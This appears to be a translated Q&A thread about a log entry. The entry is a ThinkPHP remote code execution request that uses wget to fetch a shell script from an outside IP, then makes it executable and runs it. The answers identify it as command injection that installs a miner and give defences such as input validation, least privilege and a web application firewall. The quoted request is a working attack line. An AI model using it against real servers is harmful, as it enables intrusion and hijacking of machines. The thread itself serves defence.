web-dev-qa-db-ja.com

ユーザーがブラウザのURLからコマンドを実行できないようにするにはどうすればよいですか?

私はセキュリティについてほとんど経験がありません(まだ学習中です)が、ログをくまなく調べていて、次の要求に気付きました。

"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

さて、これは、誰かが私のファイルのアクセス許可を変更しようとしていることを知らせるchmod 777を除いて、最初はまったく意味がありませんでした。

私の質問は、これはどのような種類の攻撃であり、それを防ぐためにどのような手順を実行できるかです。

36
user3718908

コマンドインジェクション攻撃 であり、

目標は、脆弱なアプリケーションを介してホストオペレーティングシステム上で任意のコマンドを実行することです。アプリケーションが安全でないユーザー提供のデータ(フォーム、Cookie、HTTPヘッダーなど)をシステムシェルに渡すと、コマンドインジェクション攻撃が可能になります。この攻撃では、攻撃者が提供するオペレーティングシステムコマンドは通常、脆弱なアプリケーションの権限で実行されます。コマンドインジェクション攻撃は、主に入力検証が不十分なために発生する可能性があります。

この種の攻撃を緩和または回避するには、次のような多くの戦略があります。

  • 回避できる場合は、オペレーティングシステムに「実行」しないでください。
  • 信頼できない入力を検証します(文字セット、最小および最大長、正規表現パターンに一致...)
  • ターゲットOSコマンドラインで意味を持つメタ文字を無効にします。
  • 「最小特権」を実装する

あなたはいくつかを見つけることができます ここ そして詳細についてはOWASPからこれ チートシート を見てください。

51
Soufiane Tahiri

前に述べたように、これは.shスクリプトをダウンロードし、実行する権限を付与して実行するコマンドインジェクション攻撃です。この場合のスクリプトはビットコインマイナーです。

Webアプリケーションが安全であることを保証するためにSoufianeに従うべきOWASPガイドの推奨事項ですが、追加のセキュリティ層のために、サーバープロセスに到達する前にこれらのような要求をブロックするWebアプリケーションファイアウォールを使用できます。

17
Veyf